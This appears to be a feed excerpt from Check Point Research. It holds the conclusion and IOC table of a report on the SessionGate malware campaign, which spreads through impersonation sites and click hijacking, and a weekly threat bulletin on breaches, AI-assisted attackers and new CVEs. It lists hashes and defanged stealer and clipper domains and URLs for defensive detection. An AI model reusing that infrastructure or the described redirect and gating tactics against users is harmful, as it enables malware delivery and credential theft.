This campaign is a reminder that “looking official” is not a meaningful security signal. The entry sites mimic legitimate open-source project portals, preserve real GitHub links to pass quick visual checks, and then use click interception to route the first download click into a gated TDS stack. From the user’s perspective, the path is deceptively simple: top Google result, polished “project” site, download. Under the hood, that single click can become a non-deterministic redirect chain that the victim never agreed to and cannot easily audit.

One of the most striking aspects of the campaign is the SessionGate branch used to deliver PUA. Its combination of server-side registration, one-time-style key release, per-session payload generation, and heavy obfuscation goes far beyond what is typically seen in commodity bundler chains. In practice, these counter-analysis measures make even obtaining the final payload unusually difficult for researchers. While such aggressive gating likely reduces overall delivery efficiency, at this campaign’s scale it is a rational tradeoff for the operators: it also reduces analyst visibility, delays detection, and helps the activity remain under the radar for longer. This is reflected in public telemetry — despite thousands of VirusTotal submissions for the initial loader and hundreds of related intermediate samples, we did not identify the final payload on VirusTotal.

Even if the upstream traffic source is not intended to distribute malware, repeated diversion of users into gray and malicious chains strongly suggests insufficient partner vetting and weak abuse prevention across the supply path. Mechanisms such as sending users somewhere other than the visible link target and handing sessions off to third-party infrastructure outside the original platform’s control are, at minimum, hallmarks of unfair and deceptive traffic practices, not transparent advertising.

More broadly, the embedded TDS layer behaves like a broker between ecosystems: it allows downstream operators to selectively receive only the sessions they want, based on GEO, browser fingerprinting, anti-bot checks, and capping. That makes attribution harder and accountability more diffuse — the impersonation operator does not need to be the malware author to enable malware delivery at scale.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

Type	Indicator	Description
SHA-256	598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7f	SessionGate Stage 1
SHA-256	74091f5a8746a1c68d73e1fc1e4e1ff514632ee3f632a8b306f35dabae2d2b64	SessionGate Stage 1
SHA-256	15e6df0c95f2147952308e640d55270e9d097639eaebb34d4b352415f1c6bceb	SessionGate Stage 1
SHA-256	3bb92771e287aa0a8bdd8e5b5bb697427223eaefded3d9b64b5d5c32ad40f3c2	SessionGate Stage 1
SHA-256	cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9b	SessionGate Stage 1
SHA-256	4cdb1f7ac502289119f7f8256f00baaa994e6ecfb4000dcf5e1c46073508fcb3	SessionGate Stage 2
SHA-256	cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9b	SessionGate Stage 2 DLL #1
SHA-256	ce0888df5e28716432013a8ae002437bd3e993fbe8362c5ff9efbddabfe0ab77	SessionGate Stage 2 DLL #1
SHA-256	26f2abfc254a59c2386dd46dca16744f7147a0f0366cb6008e1d53219175f44c	SessionGate Stage 2 DLL #2
SHA-256	e6a1a428a7c09c9946f7c0179d89b263f442dc3208b5144a9146c200e4185bd6	AnimateClipper
SHA-256	87361ba2bb412dcf49f8738f3b8b9b7dccb557ad2e76ea8d98ffa5b098ae3886	AnimateClipper
SHA-256	39dc2327fe1e5a56ac5ad9dc02f0386cff3d83dcfdc558cacba42ebb9dcc5ec2	RemusStealer
SHA-256	2e842eab0c16ddd1a2ec4a56610adb58d115b65a1e08e9b67e7e375f8eed0873	RemusStealer
Domain	appfreshstart[.]com	SessionGate
Domain	appgetonline[.]com	SessionGate
Domain	webinnosetup[.]com	SessionGate
Domain	appmakingcenter[.]com	SessionGate
Domain	yourfastcrc[.]com	SessionGate
Domain	mobileversioncrc[.]com	SessionGate
Domain	webcrcprove[.]com	SessionGate
Domain	integritycrc[.]com	SessionGate
URL	http://buccstanor[.]pics:28313	RemusStealer
URL	http://baxe[.]pics:48261	RemusStealer
URL	http://217.156.122[.]75:1378	RemusStealer
URL	http://intem[.]lat:9592	RemusStealer
URL	http://ropea[.]top:28313	RemusStealer
URL	http://forestoaker[.]com:6290	RemusStealer
URL	http://buccstanor[.]pics:48261	RemusStealer
URL	http://94.231.205[.]229:28313	RemusStealer
URL	http://gluckcreek[.]online:48261	RemusStealer
URL	https://185.0xA1.0xFB[.]58/navy.7z	AnimateClipper
URL	http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf	AnimateClipper
URL	https://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf	AnimateClipper
Domain	kr.hugo-lapp[.]co	AnimateClipper
Domain	io.hugo-lapp[.]lat	AnimateClipper
Domain	cw.hugo-lapp[.]lat	AnimateClipper
Domain	st.hugo-lapp[.]lat	AnimateClipper
Domain	td.hugo-lapp[.]lat	AnimateClipper
Domain	fd.hugo-lapp[.]lat	AnimateClipper
Domain	ed.hugo-lapp[.]lat	AnimateClipper
Domain	flame-guard[.]cc	AnimateClipper
Domain	carlessclapped[.]com	AnimateClipper

The post Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 1st June, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• Carnival Corporation, a global cruise line operator, has confirmed a data breach affecting nearly 6 million people after attackers used social engineering to compromise an employee account. Exposed information may include names, contact details, dates of birth, and government identification numbers.
• Charter Communications, a US telecommunications provider operating under the Spectrum brand, has suffered a data breach by ShinyHunters group. Analysts report that 4.9 million email addresses were exposed, with names, phone numbers, physical addresses, and a subset of employee directory records.
• Lithuania’s Centre of Registers, the state agency responsible for property and legal entity records, has disclosed a data breach affecting more than 600,000 records. Attackers reportedly misused institutional login credentials to access names, dates of birth, national identification numbers, and property-related data.
• Station Casinos, a major Las Vegas casino operator owned by Red Rock Resorts, has disclosed a breach after an unauthorized third party accessed a single employee account and associated files. The company began notifying affected individuals on May 21 and said business operations were not affected.

AI THREATS

• Researchers profiled GREYVIBE, a Russia-aligned group using ChatGPT and Google Gemini to accelerate phishing, malware development, and post-compromise activity against Ukrainian targets. The campaign uses spear-phishing, fake CAPTCHA pages, and decoy websites to deliver PhantomRelay on Windows and FallSpy on Android.
• Researchers unveiled an AI-driven influence and fraud campaign run by a Russian-speaking actor behind a MAGA-themed Telegram channel with 17,000 subscribers. The operator bypassed Gemini safeguards to automate propaganda and credential theft, used stolen API keys, cracked WordPress accounts, and drained a crypto wallet.
• Researchers identified an AI-generated malicious npm package, mouse5212-super-formatter, that steals developers’ files by scanning a local directory and uploading data to a GitHub repository using a hardcoded private token. The package recorded at least seven exfiltration events and 676 downloads.

VULNERABILITIES AND PATCHES

• Check Point announced a Jumbo Security Release based on large-scale AI-driven code scanning across the products. The release addresses vulnerabilities in Check Point security gateways, including CVE-2026-48131 and CVE-2026-48132. The vulnerabilities were not exploited in the wild.

Check Point IPS provides protection against these threats (IKE Unsigned Underflow (CVE-2026-48131), IKE Improper Length Validation (CVE-2026-48132))

• CVE-2026-0257, a PAN-OS GlobalProtect authentication bypass which was fixed earlier this month, is now being exploited against unpatched Palo Alto Networks devices. Attackers are using forged authentication override cookies to create unauthorized VPN sessions, potentially giving them access to internal networks. CISA added the flaw to its Known Exploited Vulnerabilities catalog on May 29.
• A critical remote code execution flaw has been disclosed in Gogs, a popular open-source self-hosted Git service, with a CVSS score of 9.4 and no patch available. An authenticated user can abuse rebase merging to execute commands, risking repository access and cross-tenant data exposure. The vulnerability remains unpatched by the developer for more than two months.

Check Point IPS provides protection against this threat (Gogs Remote Code Execution)

• Ghost CMS vulnerability CVE-2026-26980 is actively being exploited in attacks that use SQL injection to steal Admin API keys and alter website pages. At least two groups have targeted more than 700 sites using fake Cloudflare checks to deliver data-stealing malware.

Check Point IPS provides protection against this threat (Ghost SQL Injection (CVE-2026-26980))

THREAT INTELLIGENCE REPORTS

• Researchers attributed a destructive campaign against LA Metro to an Iran-linked intelligence operation using the Ababil of Minab persona. LA Metro confirmed an intrusion involving wiped servers, and analysts linked additional transit and technology attacks to Black Shadow infrastructure.
• Researchers observed renewed Grandoreiro banking malware campaigns targeting Portuguese banks and organizations across Spain, Mexico, and Latin America. The attacks begin with phishing and using DLL side-loading or malicious scripts, then abuse cloud services to hide traffic while stealing credentials and displaying fake banking overlays.
• Researchers uncovered GHOST STADIUM, a fraud network cloning FIFA-related websites across more than 300 active domains ahead of the 2026 World Cup. The operation steals login credentials and payment data, locks fans out of accounts, and is promoted through Facebook ads.
• Researchers exposed JINX-0164, a financially motivated group targeting cryptocurrency organizations through recruiter-themed social engineering and macOS malware, including AUDIOFIX and MINIRAT. The campaigns moved from compromised developer laptops into code repositories and build systems, creating supply chain compromise risk.

The post 1st June – Threat Intelligence Report appeared first on Check Point Research.